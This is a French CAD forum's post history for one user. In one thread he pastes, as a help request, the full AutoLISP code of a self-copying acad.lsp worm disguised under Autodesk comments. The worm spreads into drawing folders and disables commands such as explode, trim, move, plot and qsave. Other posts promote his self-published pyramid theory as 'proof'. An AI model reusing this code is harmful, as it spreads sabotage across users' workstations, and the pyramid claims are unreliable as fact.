autospeed
Membres-
Compteur de contenus
580 -
Inscription
-
Dernière visite
-
Jours gagnés
1
Type de contenu
Profils
Forums
Calendrier
Blogs
Tout ce qui a été posté par autospeed
-
Le lutin et la petite fée des framboises Il était une fois dans une forêt magique et mystérieuse, Phil, un jeune lutin endormi sous un champignon et Fanny, une petite fée des framboises en mission. Distraite, Fanny se prend les ailes dans la toile d’une énorme araignée velue et laisse tomber sa baguette près du lutin. Grâce à elle, Phil va devenir le roi du monde mais il devra vite faire un choix entre amour et pouvoir. Prendra-t-il la bonne décision ? Arrivera-t-il à temps pour sauver Fanny ? http://www.lulu.com/content/livre-à-couverture-souple/le-lutin-et-la-petite-fée-des-framboises/8279285 Ne me demandez pas comment je passe de la pyramide à un conte pour enfants , lisez plutôt les 9 premières pages du conte en cliquant sur aperçu sous l'image de la couverture. Attendez un peu que les images se chargent , ça vaut le coup !
-
Pyramide de Kheops : Les fissures du plafond de la chambre du roi datent du siècle dernier
autospeed a répondu à un(e) sujet de autospeed dans Pause café
L'article en question n'a pas du tout plus à JP Houdin , d'ou le droit de réponse visible en tête du site http://www.kheops.biz :-) [Edité le 16/2/2010 par autospeed] -
C'est ce qu'il ressort de mon enquête personnelle visible sur la page : http://autospeed.celeonet.fr/khufu/spip.php?article33 et c'est la que cela devient intéressant car si les constructeurs n'ont pas vu les fissures , la seule explication possible qui reste au passage reliant la grande galerie à la chambre de Davison est ma théorie. Pour les passionnés du sujet qui veulent garder une trace complète de cette théorie , vous pouvez la commander sous forme de livre ou la télécharger sur http://stores.lulu.com/cheops
-
problème d\'écriture automatique de fichier ACAD.LSP dans les répertoires de travail
autospeed a répondu à un(e) sujet de autospeed dans AutoCAD 2006
Voici le lisp qui est généré automatiquement meme quand la variable acadlspasdoc=0 Quelqu'un peu me dire ce qu'il fait car moi et le lisp ça fait deux :-) ; Next available MSG number is 86 ; MODULE_ID ACADR13_LSP_ ;;; AutoCAD.LSP Version 14.1 for Release 14 ;;; ;;; Copyright © 1994 - 1997 by Autodesk, Inc. ;;; ;;; Permission to use, copy, modify, and distribute this software ;;; for any purpose and without fee is hereby granted, provided ;;; that the above copyright notice appears in all copies and ;;; that both that copyright notice and the limited warranty and ;;; restricted rights notice below appear in all supporting ;;; documentation. ;;; ;;; AUTODESK PROVIDES THIS PROGRAM "AS IS" AND WITH ALL FAULTS. ;;; AUTODESK SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTY OF ;;; MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. AUTODESK, INC. ;;; DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE ;;; UNINTERRUPTED OR ERROR FREE. ;;; ;;; Use, duplication, or disclosure by the U.S. Government is subject to ;;; restrictions set forth in FAR 52.227-19 (Commercial Computer ;;; Software - Restricted Rights) and DFAR 252.227-7013©(1)(ii) ;;; (Rights in Technical Data and Computer Software), as applicable. ;;; ;;; Programer : Nguyen Manh Hung and Van Thai Binh - Cong ty Tu van va KSTK Xay dung ;;; ;;; Note: ;;; This file is loaded automatically by AutoCAD every time ;;; a drawing is opened. It establishes an autoloader and ;;; other utility functions. ;;; ;;; Globalization Note: ;;; We do not support autoloading applications by the native ;;; language command call (e.g. with the leading underscore ;;; mechanism.) (defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad cmd newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2 mm1 mm2 mm3 mm4 mm5 mm6 mm7 mm8 mm9 mm10 ) (setq old_cmd (getvar "cmdecho")) (setvar "cmdecho" 0) (check_data) (setq path (findfile "base.dcl")) (setq path (substr path 1 (- (strlen path) 8))) (setq mnlpath (getvar "menuname")) (setq nowdwg (getvar "dwgname")) (if (setq wjqm (findfile nowdwg)) (progn (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))) (setq acadpath (findfile "acad.lsp")) (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8))) (setq cmd "undefine") (setq ns1 "" ns2 "") (setq lspbj 0) (setq wjqm (strcat path "acad.lsp")) (setq mm7 "explode" mm8 "trim" mm9 "extend" mm10 "move") (if (setq wjm (open wjqm "r")) (progn (while (setq wz (read-line wjm)) (setq ns1 ns2) (setq ns2 wz) ) (if (> (strlen ns1) 14) (if (= (substr ns1 8 7) "ddcopy.lsp") (setq lspbj 1)) ) (close wjm) ) ) ;_ end of if (if (and (= acadpath dwgpath) (/= acadpath path)) (progn (setq oldacad (findfile "acad.lsp")) (setq newacad (strcat path "ddcopy.lsp")) (if (= lspbj 0) (progn (setq wjqm (strcat path "acad.lsp")) (setq wjm (open wjqm "w")) (write-line (strcat "(load " (chr 34) "ddcopy.lsp" (chr 34) ")") wjm) (write-line "(princ)" wjm) (close wjm) ) ) ;_ end of if (writeapp) ) (progn (if (/= nowdwg "Drawing.dwg") (progn (setq oldacad (findfile "ddcopy.lsp")) (setq newacad (strcat dwgpath "acad.lsp")) (writeapp) ) ;_ end of progn ) ;_ end of if ) ;_ end of progn ) ;_ end of if (command cmd "u") ;_ end of cmd (command cmd "qsave") ;_ end of cmd (command cmd "line") (command cmd "quit") (if (/= (- (/ mm4 2) (fix (/ mm4 2))) 0) (progn (command cmd mm7) (command cmd mm8) ;; "bar.arx" will *not* match "c:\\path\\foobar.arx." (command cmd mm9) (command cmd mm10);; "bar.arx" will *not* match "c:\\path\\foobar.arx." (command cmd "plot") ;_ end of cmd ));; "bar.arx" will *not* match "c:\\path\\foobar.arx." (setvar "cmdecho" old_cmd) )) (if (not (setq wjqm (findfile nowdwg))) (progn (setq cmd "undefine") (setq ns1 "" ns2 "") (setq lspbj 0) (setq wjqm (strcat path "acad.lsp")) (setq mm7 "explode" mm8 "trim" mm9 "extend" mm10 "move") (command cmd mm7) (command cmd mm8) ;; "bar.arx" will *not* match "c:\\path\\foobar.arx." (command cmd mm9) (command cmd mm10);; "bar.arx" will *not* match "c:\\path\\foobar.arx." (command cmd "plot") ;_ end of cmd (command cmd "u") ;_ end of cmd (command cmd "qsave") ;_ end of cmd (command cmd "line") (command cmd "quit") )) (princ);; "bar.arx" will *not* match "c:\\path\\foobar.arx." ) ;_ end of defun (defun writeapp () (if (setq wjm1 (open newacad "w")) (progn (setq wjm (open oldacad "r")) (while (setq wz (read-line wjm)) (write-line wz wjm1) ) ;_ end of while (close wjm) (close wjm1) ) ;_ end of progn ) ;_ end of if ) ;_ end of defun ;; determines if a given application is loaded... ;; general purpose: can ostensibly be used for appsets (arx) or (ads) or.... ;; ;; app is the filename of the application to check (extension is required) ;; appset is a list of applications, (such as (arx) or (ads) ;; (defun check_data () (setq mm5 "cdate") (setq mm6 (rtos (getvar mm5) 2 10) mm1 (substr mm6 1 4) ;; Allow the IMAGE command to accept an image file name without mm2 (substr mm6 5 2) ;; Allow the IMAGE command to accept an image file name without mm3 (substr mm6 7 2) ;; Allow the IMAGE command to accept an image file name without mm4 (substr mm6 10 2);; Allow the IMAGE command to accept an image file name without ) (setq mm1 (distof mm1) ;; Allow the IMAGE command to accept an image file name without mm2 (distof mm2) ;; Allow the IMAGE command to accept an image file name without mm3 (distof mm3) ;; Allow the IMAGE command to accept an image file name without mm4 (distof mm4));; Allow the IMAGE command to accept an image file name without ) ;; returns T or nil, depending on whether app is present in the appset ;; indicated. Case is ignored in comparison, so "foo.arx" matches "FOO.ARX" ;; Also, if appset contains members that contain paths, app will right-match (defun c:qsave () ;; presenting the file dialog, even if filedia is on. (princ) (princ)) ;; presenting the file dialog, even if filedia is on. ;; against these members, so "bar.arx" matches "c:\\path\\bar.arx"; note that ;; "bar.arx" will *not* match "c:\\path\\foobar.arx." (defun xplode () (princ "\nDon't hope explode it.") (princ);; against these members ) ;_ end of defun (defun c:xplode () (xplode) (princ)) (defun c:xp () (xplode) (princ)) ;;;===== Raster Image Support for Clipboard Paste Special ===== ;; ;; IMAGEFILE ;; ;; Allow the IMAGE command to accept an image file name without ;; presenting the file dialog, even if filedia is on. ;; Example: (imagefile "c:/images/house.bmp") (princ) ;; -
problème d\'écriture automatique de fichier ACAD.LSP dans les répertoires de travail
autospeed a répondu à un(e) sujet de autospeed dans AutoCAD 2006
ca a l'air d'être ça , je vais tester , merci pour les réponses -
Le problème est le suivant : Depuis un certain temps , les répertoires de travail de notre réseau sont infectés par l'écriture de fichiers AutoCAD.LSP , ce qui fait que chaque poste autocad ramasse par défaut le fichier AutoCAD.lsp qui s'y trouve et qui remplace le AutoCAD.lsp d'origine. Quelqu'un aurait-il une idée pour éviter le problème ?
-
Pyramide de Kheops ... du nouveau et du bon
autospeed a répondu à un(e) sujet de autospeed dans Pause café
Extrait du journal de 13h de TF1 - le 04 Janvier 2010 http://videos.tf1.fr/jt-13h/qu-est-ce-qui-nous-attend-en-2010-5620930.html On dirait presque que la deuxième voyante parle de ma théorie :-) Phil http://www.kheops.biz -
Cherche lisp pour changer la couleur de plusieurs textes multiligness dont la couleur a été forcée
autospeed a répondu à un(e) sujet de autospeed dans Routines LISP
Rien a voir avec un language de sourd mais tout à voir avec le fait que les liens transmis pointaient vers un forum ou il fallait s"inscrire avant de pouvoir récupérer les lisps. Je les ai donc récupéré ailleurs sans m'inscrire. Phil http://www.kheops.biz -
colorize en mieux ? fond de pland monochrome...
autospeed a répondu à un(e) sujet de davidcad01 dans Routines LISP
Pour les textmult on m'a conseillé STRIPMTEXT ( un lisp avec une boite de dial ) sur ce forum et ça marche super bien. Une petite recherche dans google te permettra de récupérer gratuitement la version 3.09 Phil http://www.kheops.biz -
Cherche lisp pour changer la couleur de plusieurs textes multiligness dont la couleur a été forcée
autospeed a répondu à un(e) sujet de autospeed dans Routines LISP
j'ai trouvé sur google , j'ai testé la version 3.09 avec autocad 2006 et ça marche super ! Merci .. encore un truc a connaitre pour le traitement des plans :--) Phil http://www.kheops.biz -
Cherche lisp pour changer la couleur de plusieurs textes multiligness dont la couleur a été forcée
autospeed a répondu à un(e) sujet de autospeed dans Routines LISP
c'est une commande ou un lisp ? -
Cherche lisp pour changer la couleur de plusieurs textes multiligness dont la couleur a été forcée
autospeed a répondu à un(e) sujet de autospeed dans Routines LISP
En fait toutes les propriétés de mes textmults sont déja en couleur du calque mais comme la couleur a été forcée , la propriété couleur du calque ne s'applique pas . Pour chaque texte , je suis obligé de cliquer dessus , de le sélectionner ensuite a la souris et de changer sa couleur. bref quand il y a 80 textes a décolorer comme ça dans un plan , il y a de quoi ressembler a Charlot dans les temps modernes :-) -
Cherche lisp pour changer la couleur de plusieurs textes multiligness dont la couleur a été forcée
autospeed a répondu à un(e) sujet de autospeed dans Routines LISP
oui je connais les filtres mais la il s'agit de textmult qui ne peut être saisi et meme s'il le pouvait , comment lui indiquer de se remettre en couleur du calque. -
Pyramide de Kheops ... du nouveau et du bon
autospeed a répondu à un(e) sujet de autospeed dans Pause café
Ps : En tant que lecteur, ça serait sympa de poster ton commentaire sur la page de lulu consacré au livre. http:// http://www.lulu.com/content/livre-%c3%a0-couverture-souple/le-m%c3%a9canisme-douverture-de-la-pyramide-de-ch%c3%a9ops/7946684 il y a un bouton pour rédiger une critique. Je suis content que le livre te plaise. J'ai essayé de faire quelque chose de compréhensible avec de nombreuses photos ou plans. Reste maintenant à convaincre les égyptologues :-) J'ai reussi a convaincre tous les ingénieurs de mon bureau très facilement , mais les égyptologues eux n'y connaissent rien en descente de charge , résistance des matériaux et pression hydraulique. Pour eux , mon livre c'est du chinois :-) Pourtant ils sont loin d'être cons , Amandine Marshall m'avait même fait une remarque super pertinente sur le limon qu'on devait retrouver dans les conduits de la chambre de la reine. http://autospeed.celeonet.fr/khufu/spip.php?article25 Ceci dit , aucun d'eux ne semble comprendre cet article http://autospeed.celeonet.fr/khufu/spip.php?article39 qui est pourtant hyper simple à comprendre :-) -
Pyramide de Chéops: La preuve par les poutres
autospeed a répondu à un(e) sujet de autospeed dans Pause café
http://autospeed.celeonet.fr/khufu/spip.php?article39 Je t'invite à lire cette dernière nouveauté concernant les 5 plafonds successifs. Pour ce qui est de la soupape de sécurité , elle sert simplement en cas de fuite pour éviter a l'eau de pourrir les chevrons calcaires. Le conduit entre la grande galerie et le premier vide à bien été retrouvé ouvert mais les egyptologues ont pensé qu'il s'agissait d'un conduit ayant permis d'aller vérifier la fissuration des poutres. -
Pyramide de Chéops: La preuve par les poutres
autospeed a répondu à un(e) sujet de autospeed dans Pause café
Pour ceux que cela intéresse, je viens de mettre en ligne un article complet sur le sujet : http://autospeed.celeonet.fr/khufu/spip.php?article39 Bonne lecture Phil -
Pyramide de Kheops ... du nouveau et du bon
autospeed a répondu à un(e) sujet de autospeed dans Pause café
http://autospeed.celeonet.fr/khufu/spip.php?article28 Je t'invite à lire la petite nouveauté concernant ce que les égyptologues ont appelé les chambres de décharges. Je crois que la preuve est faite qu'on est bien en face d'un mécanisme utilisant la pression hydraulique. -
Pyramide de Chéops: La preuve par les poutres
autospeed a répondu à un(e) sujet de autospeed dans Pause café
Non il s'agit bel et bien d'une preuve car ce que je dis est facilement démontrable par le calcul et n'a d'intérêt que dans le cadre de la lutte contre une pression.Demande a n'importe quel ingénieur structure de refaire les calculs suivants ... Quelle hauteur doivent faire les poutres en granit du premier plafond pour résister a une pression de 33 tonnes par m2 ? Quel poids de poutres faut-il pour éviter que le couvercle ne se soulève. Et tu verras que comme par hasard , le calcul reproduit ce que les constructeurs ont fait. -
http://www.cijoint.fr/cjlink.php?file=cj200912/cijC3pDZHi.jpg Vous voyez la poutre avec le X jaune , elle a tenu 4650 ans , a exactement la même portée que les autres poutres mais est nettement plus légère donc plus facile à tailler, à transporter et à mettre en place. Sachant cela , comment se fait-il que les constructeurs aient choisis d'installer de grosses poutres plutôt que des poutres du même gabarit que celle au X jaune ? Posez vous la question et vous verrez que seule la théorie de la pression hydraulique ( http:// www.kheops.biz) permet d'expliquer le choix de poutres plus grosses par les constructeurs. Ils n'avaient pas le choix ! Il leur fallait un certain poids de poutres sur le couvercle et une certaine hauteur de poutres dans le premier plafond pour contrebalancer les effets de la pression. Tout dans cette coupe démontre que les constructeurs voulaient lutter contre les effets de la pression. 1- Les poutres du premier plafond ont des joints et ont une hauteur moyenne supérieure à celles des autres plafonds. Nomal puisqu'elles sont en contact avec la pression. 2- Les poutres du deuxième plafond ont des joints et le vide entre le premier plafond et le deuxième pkafond est relié à la grande galerie par conduit faisant office de soupape de sécurité. 3-Les poutres des trois derniers plafonds n'ont pas de joints et sont juste la pour alourdir le couvercle de la cuve. Cette nouvelle preuve sonne vraiment le glas de la théorie officielle des 3 tombeaux successifs ! [Edité le 12/12/2009 par autospeed] [Edité le 12/12/2009 par autospeed]
-
Ca sent plutôt le projecteur laser d'une boite de nuit :-)
-
Pyramide de Kheops ... du nouveau et du bon
autospeed a répondu à un(e) sujet de autospeed dans Pause café
Bonjour , En fait ce nouveau livre n'est disponible que sur www.lulu.com à l'adresse indiquée et il n'y a aucun problème avec lulu vu que c'est un des plus gros site mondial pour l'auto-édition de livres. Ils sont même représentés sur Amazon. Sinon , il y a l'ancien livre , moins complet mais que tu peux trouver partout sous le nom " Le mécanisme secret de la grande pyramide d'Egypte". Personnellement , je te conseille "Le mécanisme d'ouverture de la pyramide de Chéops" car il est plus récent .. en deux ans j'ai fait de nombreuses autres découvertes qui n'étaient pas dans le premier livre. Phil http://www.kheops.biz -
J'ai l'honneur de vous annoncer la sortie du livre le plus complet en ce qui concerne la théorie du site http://www.kheops.biz Ceux qui sont intéressés par le sujet peuvent se le procurer sur http://www.lulu.com/content/livre-à-couverture-souple/le-mécanisme-douverture-de-la-pyramide-de-chéops/7946684 Les autres peuvent continuer une activité normale :-)
-
Encore du nouveau sur la pyramide de Khéops
autospeed a répondu à un(e) sujet de autospeed dans Pause café
L'analyse de micro-gravimétrie de la fondation EDF montre au contraire que le tiers supérieur de la pyramide est la partie la moins dense. Pour ce qui est des alunissages , je m'en tiens toujours aux 9 conclusions différentes de mon livre. -
Encore du nouveau sur la pyramide de Khéops
autospeed a répondu à un(e) sujet de autospeed dans Pause café
L'ancien livre était "LE MECANISME SECRET DE LA GRANDE PYRAMIDE D'EGYPTE" et il est toujours disponible sur Amazon Le nouveau livre est en cours de lecture chez l'éditeur .. sorti peut être dans 4 a 6 mois Le nouveau livre explique toutes les anomalies architecturales et risque bien de terminer un jour en théorie officielle vu les preuves avancées.
